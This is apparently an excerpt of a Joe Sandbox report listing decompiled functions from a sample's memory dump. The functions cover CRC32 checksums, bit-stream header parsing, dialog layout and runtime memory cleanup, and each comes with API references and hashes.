				_t122[1] = _t122[1] +  *(_t140 + 0x10);
				_t122[2] = _t122[2] + _t85;
				_t122[3] = _t122[3] +  *(_t140 + 0x20);
				_t122[5] = _t122[5] +  *(_t140 + 0x28);
				_t122[6] = _t122[6] +  *(_t140 + 0x18);
				_t122[4] = _t122[4] + _t138;
				_t122[7] = _t122[7] +  *(_t140 + 0x24);
				return _t85;
			}

0x0024f8b2
0x0024f8b9
0x0024f8bb
0x0024f8be
0x0024f8c5
0x0024f8c9
0x0024f8cc
0x0024f8ce
0x0024f8d5
0x0024f8d9
0x0024f8da
0x0024f8da
0x0024f8df
0x0024f8e3
0x0024f8e6
0x0024f8e9
0x0024f8f7
0x0024f8fa
0x0024f90c
0x0024f90f
0x0024f90f
0x0024f917
0x0024f91b
0x0024f91e
0x0024f921
0x0024f928
0x0024f92f
0x0024f936
0x0024f93d
0x0024f941
0x0024f945
0x0024f94f
0x0024f951
0x0024f955
0x0024f95a
0x0024f969
0x0024f97e
0x0024f982
0x0024f98a
0x0024f98e
0x0024f991
0x0024f995
0x0024f999
0x0024f99b
0x0024f9a0
0x0024f9a7
0x0024f9be
0x0024f9c4
0x0024f9cc
0x0024f9d0
0x0024f9d4
0x0024f9dd
0x00000000
0x00000000
0x0024f94b
0x0024f94b
0x0024f9e3
0x0024f9e7
0x0024f9f2
0x0024f9f8
0x0024f9fd
0x0024fa04
0x0024fa0b
0x0024fa12
0x0024fa15
0x0024fa1c
0x0024fa29

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14dfad686d18df5f1fcf2a1fca9714c57cbc9b81b61eda0a4919c32078576505
Instruction ID: 200de3215bb03fa27d8b876126ebc58407b8d78530e3b6f3b1594297f79f2b58
Opcode Fuzzy Hash: 14dfad686d18df5f1fcf2a1fca9714c57cbc9b81b61eda0a4919c32078576505
Instruction Fuzzy Hash: A6512571A083129FC748CF19D48059AF7E1FFC8314F058A2EE899A7741DB34EA59CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00253731 Relevance: .1, Instructions: 112
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00253731(unsigned int __ecx) {
				intOrPtr _t39;
				signed int _t47;
				intOrPtr _t48;
				signed int _t55;
				signed int _t61;
				signed int _t66;
				intOrPtr _t78;
				signed int _t82;
				unsigned char _t84;
				signed int* _t86;
				intOrPtr _t87;
				unsigned int _t88;
				unsigned int _t89;
				signed int _t90;
				void* _t91;

				_t88 =  *(_t91 + 0x20);
				_t61 = 0;
				_t86 =  *(_t91 + 0x28);
				_t89 = __ecx;
				 *(_t91 + 0x18) = __ecx;
				_t86[3] = 0;
				if( *((intOrPtr*)(_t88 + 8)) != 0 ||  *_t88 <=  *((intOrPtr*)(__ecx + 0x84)) - 7 || E0025476B(__ecx) != 0) {
					E0024A724(_t88,  ~( *(_t88 + 4)) & 0x00000007);
					 *(_t91 + 0x18) = E0024A73B(_t88) >> 8;
					E0024A724(_t88, 8);
					_t66 =  *(_t91 + 0x14) & 0x000000ff;
					_t39 = (_t66 >> 0x00000003 & 0x00000003) + 1;
					 *((intOrPtr*)(_t91 + 0x10)) = _t39;
					if(_t39 == 4) {
						goto L3;
					}
					_t86[3] = _t39 + 2;
					_t86[1] = (_t66 & 0x00000007) + 1;
					 *(_t91 + 0x20) = E0024A73B(_t88) >> 8;
					E0024A724(_t88, 8);
					if( *((intOrPtr*)(_t91 + 0x10)) <= _t61) {
						L9:
						_t84 =  *(_t91 + 0x14);
						 *_t86 = _t61;
						if((_t61 >> 0x00000010 ^ _t61 >> 0x00000008 ^ _t61 ^ _t84 ^ 0x0000005a) !=  *((intOrPtr*)(_t91 + 0x1c))) {
							goto L3;
						}
						_t47 =  *_t88;
						_t86[2] = _t47;
						_t23 = _t47 - 1; // -1
						_t48 =  *((intOrPtr*)(_t89 + 0x88));
						_t78 = _t23 + _t61;
						if(_t48 >= _t78) {
							_t48 = _t78;
						}
						 *((intOrPtr*)(_t89 + 0x88)) = _t48;
						_t86[4] = _t84 >> 0x00000006 & 0x00000001;
						_t86[4] = _t84 >> 7;
						return 1;
					}
					_t87 =  *((intOrPtr*)(_t91 + 0x10));
					_t90 = _t61;
					do {
						_t55 = E0024A73B(_t88) >> 8 << _t90;
						_t90 = _t90 + 8;
						_t61 = _t61 + _t55;
						_t82 =  *(_t88 + 4) + 8;
						 *_t88 =  *_t88 + (_t82 >> 3);
						 *(_t88 + 4) = _t82 & 0x00000007;
						_t87 = _t87 - 1;
					} while (_t87 != 0);
					_t86 =  *(_t91 + 0x28);
					_t89 =  *(_t91 + 0x18);
					goto L9;
				} else {
					L3:
					return 0;
				}
			}

0x00253737
0x0025373b
0x0025373e
0x00253742
0x00253744
0x00253748
0x0025374e
0x00253778
0x0025378b
0x0025378f
0x00253798
0x002537a3
0x002537a4
0x002537ab
0x00000000
0x00000000
0x002537b4
0x002537b7
0x002537c8
0x002537cc
0x002537d5
0x00253810
0x00253810
0x00253820
0x0025382d
0x00000000
0x00000000
0x00253833
0x00253835
0x00253838
0x0025383b
0x00253841
0x00253845
0x00253847
0x00253847
0x00253849
0x00253859
0x0025385e
0x00000000
0x0025385e
0x002537d7
0x002537db
0x002537dd
0x002537e9
0x002537eb
0x002537f1
0x002537f3
0x002537fe
0x00253800
0x00253803
0x00253803
0x00253808
0x0025380c
0x00000000
0x00253766
0x00253766
0x00000000
0x00253766

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction ID: a7232170a8220e19b203bc6d27d5c55ff8711611f5b96f51c13e09c40df62b39
Opcode Fuzzy Hash: 680dd35d5b71cc1049d84931067584ed44f7cee91fcb56c6d02cf908e44fe073
Instruction Fuzzy Hash: B93128B1A647164FCB28DF28C85116EFBE0FB95301F00492DE895C7342C738EA19CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00245F0C Relevance: .1, Instructions: 76
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00245F0C(signed char _a4, signed char _a8, unsigned int _a12) {
				signed char _t49;
				signed char _t51;
				signed char _t67;
				signed char _t68;
				unsigned int _t72;
				unsigned int _t74;

				_t67 = _a8;
				_t49 = _a4;
				_t74 = _a12;
				if(_t74 != 0) {
					while((_t67 & 0x00000007) != 0) {
						_t49 = _t49 >> 0x00000008 ^  *(0x27deb0 + ( *_t67 & 0x000000ff ^ _t49 & 0x000000ff) * 4);
						_t67 = _t67 + 1;
						_a8 = _t67;
						_t74 = _t74 - 1;
						if(_t74 != 0) {
							continue;
						}
						goto L3;
					}
				}
				L3:
				if(_t74 >= 8) {
					_t72 = _t74 >> 3;
					do {
						_t51 = _t49 ^  *_t67;
						_t74 = _t74 - 8;
						_t68 =  *(_t67 + 4);
						_t67 = _a8 + 8;
						_a8 = _t67;
						_t49 =  *(0x27deb0 + (_t68 >> 0x18) * 4) ^  *(0x27e2b0 + (_t68 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x27e6b0 + (_t68 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x27eeb0 + (_t51 >> 0x18) * 4) ^  *(0x27f2b0 + (_t51 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x27f6b0 + (_t51 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x27eab0 + (_t68 & 0x000000ff) * 4) ^  *(0x27fab0 + (_t51 & 0x000000ff) * 4);
						_t72 = _t72 - 1;
					} while (_t72 != 0);
				}
				if(_t74 != 0) {
					do {
						_t49 = _t49 >> 0x00000008 ^  *(0x27deb0 + ( *_t67 & 0x000000ff ^ _t49 & 0x000000ff) * 4);
						_t67 = _t67 + 1;
						_t74 = _t74 - 1;
					} while (_t74 != 0);
				}
				return _t49;
			}

0x00245f0f
0x00245f13
0x00245f17
0x00245f1c
0x00245f1e
0x00245f2e
0x00245f35
0x00245f36
0x00245f39
0x00245f3c
0x00000000
0x00000000
0x00000000
0x00245f3c
0x00245f1e
0x00245f3e
0x00245f41
0x00245f4a
0x00245f4d
0x00245f4d
0x00245f4f
0x00245f52
0x00245faf
0x00245fb2
0x00245fc6
0x00245fc8
0x00245fc8
0x00245fcd
0x00245fd0
0x00245fd2
0x00245fdd
0x00245fe4
0x00245fe5
0x00245fe5
0x00245fd2
0x00245fef

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13ebf7d07a0b4d2ff91094f0971ff1b2dac67ccef27b720c59f3228216930f1d
Instruction ID: 01945f1efcb254c1bdebdf8fd1d83b6229233248a9d20ab03f123f9fbaa0399a
Opcode Fuzzy Hash: 13ebf7d07a0b4d2ff91094f0971ff1b2dac67ccef27b720c59f3228216930f1d
Instruction Fuzzy Hash: 0621AA31A301714BCB48CF2DEC94C3677A5A74B311347816BEE8A9B6D1C534E965C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0024D9D8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0024D9D8(struct HWND__* __ecx, void* __eflags, intOrPtr _a8, char _a12) {
				struct HWND__* _v8;
				short _v2048;
				char _v2208;
				char _v2288;
				signed int _v2292;
				char _v2300;
				intOrPtr _v2304;
				struct tagRECT _v2320;
				intOrPtr _v2324;
				intOrPtr _v2336;
				struct tagRECT _v2352;
				struct tagRECT _v2368;
				signed int _v2376;
				char _v2377;
				intOrPtr _v2384;
				intOrPtr _v2393;
				void* __ebx;
				void* __esi;
				signed int _t96;
				struct HWND__* _t107;
				signed int _t120;
				signed int _t135;
				void* _t151;
				void* _t156;
				char _t157;
				void* _t158;
				signed int _t159;
				intOrPtr _t161;
				void* _t164;
				void* _t170;
				long _t171;
				signed int _t175;
				signed int _t179;
				signed int _t186;
				struct HWND__* _t187;
				struct HWND__* _t188;
				void* _t189;
				void* _t192;
				signed int _t193;
				long _t194;
				void* _t201;
				int* _t202;
				struct HWND__* _t203;
				void* _t205;
				void* _t206;
				void* _t208;
				void* _t210;
				void* _t214;

				_t203 = __ecx;
				_v2368.bottom = __ecx;
				E00243FD6( &_v2208, 0x50, L"$%s:", _a8);
				_t208 =  &_v2368 + 0x10;
				E002514F2( &_v2208,  &_v2288, 0x50);
				_t96 = E00263470( &_v2300);
				_t187 = _v8;
				_t156 = 0;
				_v2376 = _t96;
				_t210 =  *0x27d5f4 - _t156; // 0x63
				if(_t210 <= 0) {
					L8:
					_t157 = E0024D02E(_t156, _t203, _t189, _t214, _a8,  &(_v2368.right),  &(_v2368.top));
					_v2377 = _t157;
					GetWindowRect(_t187,  &_v2352);
					GetClientRect(_t187,  &(_v2320.top));
					_t170 = _v2352.right - _v2352.left + 1;
					_t179 = _v2320.bottom;
					_t192 = _v2352.bottom - _v2352.top + 1;
					_v2368.right = 0x64;
					_t205 = _t192 - _v2304;
					_v2368.bottom = _t170 - _t179;
					if(_t157 == 0) {
						L15:
						_t222 = _a12;
						if(_a12 == 0 && E0024D0B1(_t157, _v2368.bottom, _t222, _a8, L"CAPTION",  &_v2048, 0x400) != 0) {
							SetWindowTextW(_t187,  &_v2048);
						}
						L18:
						_t206 = _t205 - GetSystemMetrics(8);
						_t107 = GetWindow(_t187, 5);
						_t188 = _t107;
						_v2368.bottom = _t188;
						if(_t157 == 0) {
							L24:
							return _t107;
						}
						_t158 = 0;
						while(_t188 != 0) {
							__eflags = _t158 - 0x200;
							if(_t158 >= 0x200) {
								goto L24;
							}
							GetWindowRect(_t188,  &_v2320);
							_t171 = _v2320.top.left;
							_t193 = 0x64;
							asm("cdq");
							_t194 = _v2320.left;
							asm("cdq");
							_t120 = (_t171 - _t206 - _v2336) * _v2368.top;
							asm("cdq");
							_t175 = 0x64;
							asm("cdq");
							asm("cdq");
							 *0x2a1150(_t188, 0, (_t194 - (_v2352.right - _t120 % _t175 >> 1) - _v2352.bottom) * _v2368.right / _t175, _t120 / _t175, (_v2320.right - _t194 + 1) * _v2368.right / _v2352.top, (_v2320.bottom - _t171 + 1) * _v2368.top / _t193, 0x204);
							_t107 = GetWindow(_t188, 2);
							_t188 = _t107;
							__eflags = _t188 - _v2384;
							if(_t188 == _v2384) {
								goto L24;
							}
							_t158 = _t158 + 1;
							__eflags = _t158;
						}
						goto L24;
					}
					if(_a12 != 0) {
						goto L18;
					}
					_t159 = 0x64;
					asm("cdq");
					_t135 = _v2292 * _v2368.top;
					_t161 = _t179 * _v2368.right / _t159 + _v2352.right;
					_v2324 = _t161;
					asm("cdq");
					_t186 = _t135 % _v2352.top;
					_v2352.left = _t135 / _v2352.top + _t205;
					asm("cdq");
					asm("cdq");
					_t201 = (_t192 - _v2352.left - _t186 >> 1) + _v2336;
					_t164 = (_t170 - _t161 - _t186 >> 1) + _v2352.bottom;
					if(_t164 < 0) {
						_t164 = 0;
					}
					if(_t201 < 0) {
						_t201 = 0;
					}
					 *0x2a1150(_t187, 0, _t164, _t201, _v2324, _v2352.left,  !(GetWindowLongW(_t187, 0xfffffff0) >> 0xa) & 0x00000002 | 0x00000204);
					GetWindowRect(_t187,  &_v2368);
					_t157 = _v2393;
					goto L15;
				} else {
					_t202 = 0x27d154;
					do {
						if( *_t202 > 0) {
							_t9 =  &(_t202[1]); // 0x2736b8
							_t151 = E00265D20( &_v2288,  *_t9, _t96);
							_t208 = _t208 + 0xc;
							if(_t151 == 0) {
								_t12 =  &(_t202[1]); // 0x2736b8
								if(E0024D208(_t156, _t203, _t202,  *_t12,  &_v2048, 0x400) != 0) {
									SetDlgItemTextW(_t187,  *_t202,  &_v2048);
								}
							}
							_t96 = _v2368.top;
						}
						_t156 = _t156 + 1;
						_t202 =  &(_t202[3]);
						_t214 = _t156 -  *0x27d5f4; // 0x63
					} while (_t214 < 0);
					goto L8;
				}
			}

0x0024d9f0
0x0024d9fa
0x0024d9fe
0x0024da03
0x0024da15
0x0024da1f
0x0024da24
0x0024da2b
0x0024da2e
0x0024da32
0x0024da38
0x0024da95
0x0024daad
0x0024dab5
0x0024dab9
0x0024dac5
0x0024dad7
0x0024dade
0x0024dae2
0x0024dae5
0x0024daed
0x0024daf3
0x0024daf9
0x0024db9c
0x0024db9c
0x0024dba4
0x0024dbd5
0x0024dbd5
0x0024dbdb
0x0024dbe6
0x0024dbe8
0x0024dbee
0x0024dbf0
0x0024dbf6
0x0024dca8
0x0024dca8
0x0024dca8
0x0024dbfc
0x0024dc96
0x0024dc03
0x0024dc09
0x00000000
0x00000000
0x0024dc15
0x0024dc1f
0x0024dc34
0x0024dc39
0x0024dc3c
0x0024dc52
0x0024dc5a
0x0024dc5c
0x0024dc5d
0x0024dc65
0x0024dc77
0x0024dc7e
0x0024dc87
0x0024dc8d
0x0024dc8f
0x0024dc93
0x00000000
0x00000000
0x0024dc95
0x0024dc95
0x0024dc95
0x00000000
0x0024dc96
0x0024db07
0x00000000
0x00000000
0x0024db14
0x0024db17
0x0024db20
0x0024db25
0x0024db2b
0x0024db2f
0x0024db30
0x0024db36
0x0024db40
0x0024db47
0x0024db50
0x0024db54
0x0024db58
0x0024db5a
0x0024db5a
0x0024db5e
0x0024db60
0x0024db60
0x0024db86
0x0024db92
0x0024db98
0x00000000
0x0024da3a
0x0024da3a
0x0024da3f
0x0024da42
0x0024da45
0x0024da4d
0x0024da52
0x0024da57
0x0024da68
0x0024da72
0x0024da7f
0x0024da7f
0x0024da72
0x0024da85
0x0024da85
0x0024da89
0x0024da8a
0x0024da8d
0x0024da8d
0x00000000
0x0024da3f

APIs

_swprintf.LIBCMT ref: 0024D9FE

Part of subcall function 00243FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00243FE9

Part of subcall function 002514F2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,0027FEE8,?,0024D142,00000000,?,00000050,0027FEE8), ref: 0025150F

_strlen.LIBCMT ref: 0024DA1F
SetDlgItemTextW.USER32(?,0027D154,?), ref: 0024DA7F
GetWindowRect.USER32(?,?), ref: 0024DAB9
GetClientRect.USER32(?,?), ref: 0024DAC5
GetWindowLongW.USER32(?,000000F0), ref: 0024DB65
GetWindowRect.USER32(?,?), ref: 0024DB92
SetWindowTextW.USER32(?,?), ref: 0024DBD5
GetSystemMetrics.USER32(00000008), ref: 0024DBDD
GetWindow.USER32(?,00000005), ref: 0024DBE8
GetWindowRect.USER32(00000000,?), ref: 0024DC15
GetWindow.USER32(00000000,00000002), ref: 0024DC87

Strings

$%s:, xrefs: 0024D9F2
CAPTION, xrefs: 0024DBB7
d, xrefs: 0024DAE5

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: a45d4a409aef4b75bc7419dc01808fb56af672f6d56fc738496ef674d2e7b115
Instruction ID: 426ffce37ee1447834bd7c8207caf61d6a19268d29f203ff5c1ac3c0a084c452
Opcode Fuzzy Hash: a45d4a409aef4b75bc7419dc01808fb56af672f6d56fc738496ef674d2e7b115
Instruction Fuzzy Hash: 3E81A072118301AFD714DFA8DD89F6FBBE9EB89714F04091DFA8897290D670E815CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0026C102 Relevance: 19.6, APIs: 13, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0026C102(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x27dd50) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E0026835E(_t46);
							E0026BCE1( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E0026835E(_t47);
							E0026BDDF( *((intOrPtr*)(_t74 + 0x88)));
						}
						E0026835E( *((intOrPtr*)(_t74 + 0x7c)));
						E0026835E( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E0026835E( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E0026835E( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E0026835E( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E0026835E( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E0026C275( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x27d818) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E0026835E(_t31);
							E0026835E( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E0026835E(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E0026835E(_t74);
			}

0x0026c10a
0x0026c10e
0x0026c116
0x0026c11f
0x0026c124
0x0026c12b
0x0026c133
0x0026c13b
0x0026c146
0x0026c14c
0x0026c14d
0x0026c155
0x0026c15d
0x0026c168
0x0026c16e
0x0026c172
0x0026c17d
0x0026c183
0x0026c124
0x0026c184
0x0026c18c
0x0026c19f
0x0026c1b2
0x0026c1c0
0x0026c1cb
0x0026c1d0
0x0026c1d9
0x0026c1e1
0x0026c1e2
0x0026c1e8
0x0026c1eb
0x0026c1ee
0x0026c1f5
0x0026c1f7
0x0026c1fb
0x0026c203
0x0026c20a
0x0026c210
0x0026c211
0x0026c211
0x0026c218
0x0026c21a
0x0026c21f
0x0026c227
0x0026c22c
0x0026c22d
0x0026c22d
0x0026c230
0x0026c233
0x0026c236
0x0026c239
0x0026c239
0x0026c24b

APIs

___free_lconv_mon.LIBCMT ref: 0026C146

Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BCFE
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD10
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD22
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD34
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD46
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD58
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD6A
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD7C
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BD8E
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BDA0
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BDB2
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BDC4
Part of subcall function 0026BCE1: _free.LIBCMT ref: 0026BDD6

_free.LIBCMT ref: 0026C13B

Part of subcall function 0026835E: RtlFreeHeap.NTDLL(00000000,00000000,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?), ref: 00268374
Part of subcall function 0026835E: GetLastError.KERNEL32(?,?,0026BE76,?,00000000,?,00000000,?,0026BE9D,?,00000007,?,?,0026C29A,?,?), ref: 00268386

_free.LIBCMT ref: 0026C15D
_free.LIBCMT ref: 0026C172
_free.LIBCMT ref: 0026C17D
_free.LIBCMT ref: 0026C19F
_free.LIBCMT ref: 0026C1B2
_free.LIBCMT ref: 0026C1C0
_free.LIBCMT ref: 0026C1CB
_free.LIBCMT ref: 0026C203
_free.LIBCMT ref: 0026C20A
_free.LIBCMT ref: 0026C227
_free.LIBCMT ref: 0026C23F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 12b87bb4ad0915855c2e745f82906ad4fb4f06173952380b1b13be1a8b9fee86
Instruction ID: 6d59089bfbcd1312420ab61bdc3332f1cdebfcfdb15495ff9adc7a465cbcb225
Opcode Fuzzy Hash: 12b87bb4ad0915855c2e745f82906ad4fb4f06173952380b1b13be1a8b9fee86
Instruction Fuzzy Hash: B5317E325243069FDB20AE78D841B6673E9FF01710F244999E89CD7252DE31ACF0CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0025CBAE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0025CBAE(void* __ecx, void* __edx, void* __eflags, void* __fp0, short _a24, struct HWND__* _a4124) {
				void _v0;
				intOrPtr _v4;
				intOrPtr _v12;
				struct HWND__* _t8;
				void* _t18;
				void* _t25;
				void* _t27;
				void* _t29;
				struct HWND__* _t32;
				struct HWND__* _t35;
				void* _t48;

				_t48 = __fp0;
				_t27 = __edx;
				E0025E1C0();
				_t8 = E00259C8A(__eflags);
				if(_t8 == 0) {
					L12:
					return _t8;
				}
				_t8 = GetWindow(_a4124, 5);
				_t32 = _t8;
				_t29 = 0;
				_t35 = _t32;
				if(_t32 == 0) {
					L11:
					goto L12;
				}
				while(_t29 < 0x200) {
					GetClassNameW(_t32,  &_a24, 0x800);
					if(E00251708( &_a24, L"STATIC") == 0 && (GetWindowLongW(_t32, 0xfffffff0) & 0x0000001f) == 0xe) {
						_t25 = SendMessageW(_t32, 0x173, 0, 0);
						if(_t25 != 0) {
							GetObjectW(_t25, 0x18,  &_v0);
							_t18 = E00259CEC(_v4);
							SendMessageW(_t32, 0x172, 0, E00259EDB(_t27, _t48, _t25, E00259CA9(_v12), _t18));
							DeleteObject(_t25);
						}
					}
					_t8 = GetWindow(_t32, 2);
					_t32 = _t8;
					if(_t32 != _t35) {
						_t29 = _t29 + 1;
						if(_t32 != 0) {
							continue;
						}
					}
					break;
				}
				goto L11;
			}

0x0025cbae
0x0025cbae
0x0025cbb3
0x0025cbb8
0x0025cbbf
0x0025cc96
0x0025cc9c
0x0025cc9c
0x0025cbd1
0x0025cbd7
0x0025cbd9
0x0025cbdb
0x0025cbdf
0x0025cc93
0x00000000
0x0025cc95
0x0025cbe6
0x0025cbfd
0x0025cc14
0x0025cc36
0x0025cc3a
0x0025cc44
0x0025cc4e
0x0025cc6d
0x0025cc74
0x0025cc74
0x0025cc3a
0x0025cc7d
0x0025cc83
0x0025cc87
0x0025cc89
0x0025cc8c
0x00000000
0x00000000
0x0025cc8c
0x00000000
0x0025cc87
0x00000000

APIs

GetWindow.USER32(?,00000005), ref: 0025CBD1
GetClassNameW.USER32(00000000,?,00000800), ref: 0025CBFD

